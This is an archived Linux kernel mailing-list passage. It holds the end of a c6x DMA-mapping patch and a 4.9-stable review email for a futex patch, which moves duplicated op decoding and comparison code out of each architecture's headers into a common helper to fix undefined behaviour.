> -	int i;
> -
> -	for_each_sg(sglist, sg, nents, i) {
> -		sg->dma_address = sg_phys(sg);
> -		if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
> -			c6x_dma_sync(sg->dma_address, sg->length, dir);
> -	}
> -
> -	return nents;
> -}
> -
> -static void c6x_dma_unmap_sg(struct device *dev, struct scatterlist *sglist,
> -		  int nents, enum dma_data_direction dir, unsigned long attrs)
> -{
> -	struct scatterlist *sg;
> -	int i;
> -
> -	if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
> -		return;
> -
> -	for_each_sg(sglist, sg, nents, i)
> -		c6x_dma_sync(sg_dma_address(sg), sg->length, dir);
> -}
> -
> -static void c6x_dma_sync_single_for_cpu(struct device *dev, dma_addr_t handle,
> -		size_t size, enum dma_data_direction dir)
> -{
> -	c6x_dma_sync(handle, size, dir);
> -
> -}
> -
> -static void c6x_dma_sync_single_for_device(struct device *dev,
> -		dma_addr_t handle, size_t size, enum dma_data_direction dir)
> -{
> -	c6x_dma_sync(handle, size, dir);
> -
> -}
> -
> -static void c6x_dma_sync_sg_for_cpu(struct device *dev,
> -		struct scatterlist *sglist, int nents,
> -		enum dma_data_direction dir)
> -{
> -	struct scatterlist *sg;
> -	int i;
> -
> -	for_each_sg(sglist, sg, nents, i)
> -		c6x_dma_sync_single_for_cpu(dev, sg_dma_address(sg),
> -					sg->length, dir);
> -
> -}
> -
> -static void c6x_dma_sync_sg_for_device(struct device *dev,
> -		struct scatterlist *sglist, int nents,
> -		enum dma_data_direction dir)
> -{
> -	struct scatterlist *sg;
> -	int i;
> -
> -	for_each_sg(sglist, sg, nents, i)
> -		c6x_dma_sync_single_for_device(dev, sg_dma_address(sg),
> -					   sg->length, dir);
> -
> -}
> -
> -const struct dma_map_ops c6x_dma_ops = {
> -	.alloc			= c6x_dma_alloc,
> -	.free			= c6x_dma_free,
> -	.map_page		= c6x_dma_map_page,
> -	.unmap_page		= c6x_dma_unmap_page,
> -	.map_sg			= c6x_dma_map_sg,
> -	.unmap_sg		= c6x_dma_unmap_sg,
> -	.sync_single_for_device	= c6x_dma_sync_single_for_device,
> -	.sync_single_for_cpu	= c6x_dma_sync_single_for_cpu,
> -	.sync_sg_for_device	= c6x_dma_sync_sg_for_device,
> -	.sync_sg_for_cpu	= c6x_dma_sync_sg_for_cpu,
> -};
> -EXPORT_SYMBOL(c6x_dma_ops);
> diff --git a/arch/c6x/mm/dma-coherent.c b/arch/c6x/mm/dma-coherent.c
> index 95e38ad27c69..d0a8e0c4b27e 100644
> --- a/arch/c6x/mm/dma-coherent.c
> +++ b/arch/c6x/mm/dma-coherent.c
> @@ -19,10 +19,12 @@
>  #include <linux/bitops.h>
>  #include <linux/module.h>
>  #include <linux/interrupt.h>
> -#include <linux/dma-mapping.h>
> +#include <linux/dma-noncoherent.h>
>  #include <linux/memblock.h>
>  
> +#include <asm/cacheflush.h>
>  #include <asm/page.h>
> +#include <asm/setup.h>
>  
>  /*
>   * DMA coherent memory management, can be redefined using the memdma=
> @@ -73,7 +75,7 @@ static void __free_dma_pages(u32 addr, int order)
>   * Allocate DMA coherent memory space and return both the kernel
>   * virtual and DMA address for that space.
>   */
> -void *c6x_dma_alloc(struct device *dev, size_t size, dma_addr_t *handle,
> +void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *handle,
>  		gfp_t gfp, unsigned long attrs)
>  {
>  	u32 paddr;
> @@ -98,7 +100,7 @@ void *c6x_dma_alloc(struct device *dev, size_t size, dma_addr_t *handle,
>  /*
>   * Free DMA coherent memory as defined by the above mapping.
>   */
> -void c6x_dma_free(struct device *dev, size_t size, void *vaddr,
> +void arch_dma_free(struct device *dev, size_t size, void *vaddr,
>  		dma_addr_t dma_handle, unsigned long attrs)
>  {
>  	int order;
> @@ -139,3 +141,35 @@ void __init coherent_mem_init(phys_addr_t start, u32 size)
>  	dma_bitmap = phys_to_virt(bitmap_phys);
>  	memset(dma_bitmap, 0, dma_pages * PAGE_SIZE);
>  }
> +
> +static void c6x_dma_sync(struct device *dev, phys_addr_t paddr, size_t size,
> +		enum dma_data_direction dir)
> +{
> +	BUG_ON(!valid_dma_direction(dir));
> +
> +	switch (dir) {
> +	case DMA_FROM_DEVICE:
> +		L2_cache_block_invalidate(paddr, paddr + size);
> +		break;
> +	case DMA_TO_DEVICE:
> +		L2_cache_block_writeback(paddr, paddr + size);
> +		break;
> +	case DMA_BIDIRECTIONAL:
> +		L2_cache_block_writeback_invalidate(paddr, paddr + size);
> +		break;
> +	default:
> +		break;
> +	}
> +}
> +
> +void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
> +		size_t size, enum dma_data_direction dir)
> +{
> +	return c6x_dma_sync(dev, paddr, size, dir);
> +}
> +
> +void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
> +		size_t size, enum dma_data_direction dir)
> +{
> +	return c6x_dma_sync(dev, paddr, size, dir);
> +}
Acked-by: Mark Salter <msalter-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>


From - Thu Nov 08 21:41:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.stable
Subject: [PATCH 4.9 27/33] futex: Remove duplicated code and fix undefined
 behaviour
Date: Fri, 18 May 2018 10:16:06 +0200
Lines: 1092
Approved: news@gmane.org
Message-ID: <20180518081536.166573281@linuxfoundation.org>
References: <20180518081535.096308218@linuxfoundation.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: blaine.gmane.org 1526631741 15351 195.159.176.226 (18 May 2018 08:22:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 18 May 2018 08:22:21 +0000 (UTC)
User-Agent: quilt/0.65
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org, peterz@infradead.org,
 Max Filippov <jcmvbkbc@gmail.com>, Paul Mackerras <paulus@samba.org>,
 Ralf Baechle <ralf@linux-mips.org>, sparclinux@vger.kernel.org,
 Jiri Slaby <jslaby@suse.cz>, Stafford Horne <shorne@gmail.com>,
 Jonas Bonn <jonas@southpole.se>, linux-s390@vger.kernel.org,
 Ben Hutchings <ben.hutchings@codethink.co.uk>,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-hexagon@vger.kernel.org,
 Helge Deller <deller@gmx.de>, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Fenghua Yu <fenghua.yu@intel.com>, Catalin Marinas <catalin.marinas@arm.com>,
 "Darren Hart \(VMware\)" <dvhart@infradead.org>,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
 linux-arch@vger.kernel.org, Arnd Bergmann <arnd@arndb.de>,
 linux-xtensa@linux-xtensa.org, li
To: linux-kernel@vger.kernel.org
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Fri May 18 10:22:13 2018
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from lists.ozlabs.org ([203.11.71.2])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1fJaeQ-0003jy-RG
	for glppe-linuxppc-embedded-2@m.gmane.org; Fri, 18 May 2018 10:22:11 +0200
Original-Received: from lists.ozlabs.org (lists.ozlabs.org [IPv6:2401:3900:2:1::3])
	by lists.ozlabs.org (Postfix) with ESMTP id 40nLmz6q86zF29x
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Fri, 18 May 2018 18:24:19 +1000 (AEST)
Authentication-Results: lists.ozlabs.org; dmarc=none (p=none dis=none) header.from=linuxfoundation.org
Authentication-Results: lists.ozlabs.org;
	dkim=fail reason="signature verification failed" (1024-bit key; unprotected) header.d=kernel.org header.i=@kernel.org header.b="ODSJM5Ar";
	dkim-atps=neutral
X-Original-To: linuxppc-dev@lists.ozlabs.org
Delivered-To: linuxppc-dev@lists.ozlabs.org
Authentication-Results: lists.ozlabs.org;
 spf=pass (mailfrom) smtp.mailfrom=kernel.org
 (client-ip=198.145.29.99; helo=mail.kernel.org;
 envelope-from=srs0=xuy6=if=linuxfoundation.org=gregkh@kernel.org;
 receiver=<UNKNOWN>)
Authentication-Results: lists.ozlabs.org; dmarc=none (p=none dis=none)
 header.from=linuxfoundation.org
Authentication-Results: lists.ozlabs.org; dkim=pass (1024-bit key;
 unprotected) header.d=kernel.org header.i=@kernel.org header.b="ODSJM5Ar"; 
 dkim-atps=neutral
Original-Received: from mail.kernel.org (mail.kernel.org [198.145.29.99])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by lists.ozlabs.org (Postfix) with ESMTPS id 40nLl26gwszF29L
 for <linuxppc-dev@lists.ozlabs.org>; Fri, 18 May 2018 18:22:35 +1000 (AEST)
Original-Received: from localhost (LFbn-1-12247-202.w90-92.abo.wanadoo.fr
 [90.92.61.202])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by mail.kernel.org (Postfix) with ESMTPSA id E2E1920857;
 Fri, 18 May 2018 08:22:32 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=kernel.org;
 s=default; t=1526631753;
 bh=Jp7PgCj/ONDaq2U92X7cQa/fGCZwBNj8nQtPW/8VIUk=;
 h=From:To:Cc:Subject:Date:In-Reply-To:References:From;
 b=ODSJM5ArRmaUZcp4nNxAVaT7LZTMSwUIIFsb6FrgEB689wyCB5smts072rU3e657y
 XHtAHp7olSaTaPlBLdRRAZnwT76gkGCKXQlnHJF5UIkmFlpbkyNelAxblkDivCUXce
 qBkTuscG1u2wS04/oV77FtNJcdd7ujK4PJi5H7Sw=
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180518081535.096308218@linuxfoundation.org>
X-stable: review
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.26
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev/>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: "Linuxppc-dev"
 <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:125677 gmane.linux.kernel:2770564 gmane.linux.ports.mips.general:64841 gmane.linux.ports.ia64:28817 gmane.linux.ports.sh.devel:57039 gmane.linux.ports.sparc:27876 gmane.linux.ports.hexagon:1727 gmane.linux.kernel.arc:3893 gmane.linux.kernel.cross-arch:44227 gmane.linux.ports.alpha:5048 gmane.linux.ports.arm.kernel:650956 gmane.linux.ports.parisc:28620 gmane.linux.kernel.stable:283801
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/125677>

4.9-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Jiri Slaby <jslaby@suse.cz>

commit 30d6e0a4190d37740e9447e4e4815f06992dd8c3 upstream.

There is code duplicated over all architecture's headers for
futex_atomic_op_inuser. Namely op decoding, access_ok check for uaddr,
and comparison of the result.

Remove this duplication and leave up to the arches only the needed
assembly which is now in arch_futex_atomic_op_inuser.

This effectively distributes the Will Deacon's arm64 fix for undefined
behaviour reported by UBSAN to all architectures. The fix was done in
commit 5f16a046f8e1 (arm64: futex: Fix undefined behaviour with
FUTEX_OP_OPARG_SHIFT usage). Look there for an example dump.

And as suggested by Thomas, check for negative oparg too, because it was
also reported to cause undefined behaviour report.

Note that s390 removed access_ok check in d12a29703 ("s390/uaccess:
remove pointless access_ok() checks") as access_ok there returns true.
We introduce it back to the helper for the sake of simplicity (it gets
optimized away anyway).

Signed-off-by: Jiri Slaby <jslaby@suse.cz>
Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
Acked-by: Russell King <rmk+kernel@armlinux.org.uk>
Acked-by: Michael Ellerman <mpe@ellerman.id.au> (powerpc)
Acked-by: Heiko Carstens <heiko.carstens@de.ibm.com> [s390]
Acked-by: Chris Metcalf <cmetcalf@mellanox.com> [for tile]
Reviewed-by: Darren Hart (VMware) <dvhart@infradead.org>
Reviewed-by: Will Deacon <will.deacon@arm.com> [core/arm64]
Cc: linux-mips@linux-mips.org
Cc: Rich Felker <dalias@libc.org>
Cc: linux-ia64@vger.kernel.org
Cc: linux-sh@vger.kernel.org
Cc: peterz@infradead.org
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Cc: Max Filippov <jcmvbkbc@gmail.com>
Cc: Paul Mackerras <paulus@samba.org>
Cc: sparclinux@vger.kernel.org
Cc: Jonas Bonn <jonas@southpole.se>
Cc: linux-s390@vger.kernel.org
Cc: linux-arch@vger.kernel.org
Cc: Yoshinori Sato <ysato@users.sourceforge.jp>
Cc: linux-hexagon@vger.kernel.org
Cc: Helge Deller <deller@gmx.de>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Catalin Marinas <catalin.marinas@arm.com>
Cc: Matt Turner <mattst88@gmail.com>
Cc: linux-snps-arc@lists.infradead.org
Cc: Fenghua Yu <fenghua.yu@intel.com>
Cc: Arnd Bergmann <arnd@arndb.de>
Cc: linux-xtensa@linux-xtensa.org
Cc: Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>
Cc: openrisc@lists.librecores.org
Cc: Ivan Kokshaysky <ink@jurassic.park.msu.ru>
Cc: Stafford Horne <shorne@gmail.com>
Cc: linux-arm-kernel@lists.infradead.org
Cc: Richard Henderson <rth@twiddle.net>
Cc: Chris Zankel <chris@zankel.net>
Cc: Michal Simek <monstr@monstr.eu>
Cc: Tony Luck <tony.luck@intel.com>
Cc: linux-parisc@vger.kernel.org
Cc: Vineet Gupta <vgupta@synopsys.com>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: Richard Kuo <rkuo@codeaurora.org>
Cc: linux-alpha@vger.kernel.org
Cc: Martin Schwidefsky <schwidefsky@de.ibm.com>
Cc: linuxppc-dev@lists.ozlabs.org
Cc: "David S. Miller" <davem@davemloft.net>
Link: http://lkml.kernel.org/r/20170824073105.3901-1-jslaby@suse.cz
Cc: Ben Hutchings <ben.hutchings@codethink.co.uk>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 arch/alpha/include/asm/futex.h      |   26 +++---------------
 arch/arc/include/asm/futex.h        |   40 +++-------------------------
 arch/arm/include/asm/futex.h        |   26 ++----------------
 arch/arm64/include/asm/futex.h      |   27 ++-----------------
 arch/frv/include/asm/futex.h        |    3 +-
 arch/frv/kernel/futex.c             |   27 ++-----------------
 arch/hexagon/include/asm/futex.h    |   38 ++-------------------------
 arch/ia64/include/asm/futex.h       |   25 ++----------------
 arch/microblaze/include/asm/futex.h |   38 ++-------------------------
 arch/mips/include/asm/futex.h       |   25 ++----------------
 arch/parisc/include/asm/futex.h     |   26 ++----------------
 arch/powerpc/include/asm/futex.h    |   26 +++---------------
 arch/s390/include/asm/futex.h       |   23 +++-------------
 arch/sh/include/asm/futex.h         |   26 ++----------------
 arch/sparc/include/asm/futex_64.h   |   26 +++---------------
 arch/tile/include/asm/futex.h       |   40 +++-------------------------
 arch/x86/include/asm/futex.h        |   40 +++-------------------------
 arch/xtensa/include/asm/futex.h     |   27 +++----------------
 include/asm-generic/futex.h         |   50 ++++++------------------------------
 kernel/futex.c                      |   39 ++++++++++++++++++++++++++++
 20 files changed, 126 insertions(+), 472 deletions(-)

--- a/arch/alpha/include/asm/futex.h
+++ b/arch/alpha/include/asm/futex.h
@@ -29,18 +29,10 @@
 	:	"r" (uaddr), "r"(oparg)				\
 	:	"memory")
 
-static inline int futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -66,17 +58,9 @@ static inline int futex_atomic_op_inuser
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
--- a/arch/arc/include/asm/futex.h
+++ b/arch/arc/include/asm/futex.h
@@ -73,20 +73,11 @@
 
 #endif
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(int)))
-		return -EFAULT;
-
 #ifndef CONFIG_ARC_HAS_LLSC
 	preempt_disable();	/* to guarantee atomic r-m-w of futex op */
 #endif
@@ -118,30 +109,9 @@ static inline int futex_atomic_op_inuser
 	preempt_enable();
 #endif
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ:
-			ret = (oldval == cmparg);
-			break;
-		case FUTEX_OP_CMP_NE:
-			ret = (oldval != cmparg);
-			break;
-		case FUTEX_OP_CMP_LT:
-			ret = (oldval < cmparg);
-			break;
-		case FUTEX_OP_CMP_GE:
-			ret = (oldval >= cmparg);
-			break;
-		case FUTEX_OP_CMP_LE:
-			ret = (oldval <= cmparg);
-			break;
-		case FUTEX_OP_CMP_GT:
-			ret = (oldval > cmparg);
-			break;
-		default:
-			ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
--- a/arch/arm/include/asm/futex.h
+++ b/arch/arm/include/asm/futex.h
@@ -128,20 +128,10 @@ futex_atomic_cmpxchg_inatomic(u32 *uval,
 #endif /* !SMP */
 
 static inline int
-futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret, tmp;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 #ifndef CONFIG_SMP
 	preempt_disable();
 #endif
@@ -172,17 +162,9 @@ futex_atomic_op_inuser (int encoded_op,
 	preempt_enable();
 #endif
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
--- a/arch/arm64/include/asm/futex.h
+++ b/arch/arm64/include/asm/futex.h
@@ -51,20 +51,9 @@
 	: "memory")
 
 static inline int
-futex_atomic_op_inuser(unsigned int encoded_op, u32 __user *_uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (int)(encoded_op << 8) >> 20;
-	int cmparg = (int)(encoded_op << 20) >> 20;
 	int oldval = 0, ret, tmp;
-	u32 __user *uaddr = __uaccess_mask_ptr(_uaddr);
-
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1U << (oparg & 0x1f);
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -95,17 +84,9 @@ futex_atomic_op_inuser(unsigned int enco
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
--- a/arch/frv/include/asm/futex.h
+++ b/arch/frv/include/asm/futex.h
@@ -7,7 +7,8 @@
 #include <asm/errno.h>
 #include <asm/uaccess.h>
 
-extern int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr);
+extern int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr);
 
 static inline int
 futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
--- a/arch/frv/kernel/futex.c
+++ b/arch/frv/kernel/futex.c
@@ -186,20 +186,10 @@ static inline int atomic_futex_op_xchg_x
 /*
  * do the futex operations
  */
-int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+int arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 	pagefault_disable();
 
 	switch (op) {
@@ -225,18 +215,9 @@ int futex_atomic_op_inuser(int encoded_o
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS; break;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
 
 	return ret;
 
-} /* end futex_atomic_op_inuser() */
+} /* end arch_futex_atomic_op_inuser() */
--- a/arch/hexagon/include/asm/futex.h
+++ b/arch/hexagon/include/asm/futex.h
@@ -31,18 +31,9 @@
 
 
 static inline int
-futex_atomic_op_inuser(int encoded_op, int __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(int)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -72,30 +63,9 @@ futex_atomic_op_inuser(int encoded_op, i
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ:
-			ret = (oldval == cmparg);
-			break;
-		case FUTEX_OP_CMP_NE:
-			ret = (oldval != cmparg);
-			break;
-		case FUTEX_OP_CMP_LT:
-			ret = (oldval < cmparg);
-			break;
-		case FUTEX_OP_CMP_GE:
-			ret = (oldval >= cmparg);
-			break;
-		case FUTEX_OP_CMP_LE:
-			ret = (oldval <= cmparg);
-			break;
-		case FUTEX_OP_CMP_GT:
-			ret = (oldval > cmparg);
-			break;
-		default:
-			ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
--- a/arch/ia64/include/asm/futex.h
+++ b/arch/ia64/include/asm/futex.h
@@ -45,18 +45,9 @@ do {									\
 } while (0)
 
 static inline int
-futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (! access_ok (VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -84,17 +75,9 @@ futex_atomic_op_inuser (int encoded_op,
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
--- a/arch/microblaze/include/asm/futex.h
+++ b/arch/microblaze/include/asm/futex.h
@@ -29,18 +29,9 @@
 })
 
 static inline int
-futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -66,30 +57,9 @@ futex_atomic_op_inuser(int encoded_op, u
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ:
-			ret = (oldval == cmparg);
-			break;
-		case FUTEX_OP_CMP_NE:
-			ret = (oldval != cmparg);
-			break;
-		case FUTEX_OP_CMP_LT:
-			ret = (oldval < cmparg);
-			break;
-		case FUTEX_OP_CMP_GE:
-			ret = (oldval >= cmparg);
-			break;
-		case FUTEX_OP_CMP_LE:
-			ret = (oldval <= cmparg);
-			break;
-		case FUTEX_OP_CMP_GT:
-			ret = (oldval > cmparg);
-			break;
-		default:
-			ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
--- a/arch/mips/include/asm/futex.h
+++ b/arch/mips/include/asm/futex.h
@@ -83,18 +83,9 @@
 }
 
 static inline int
-futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
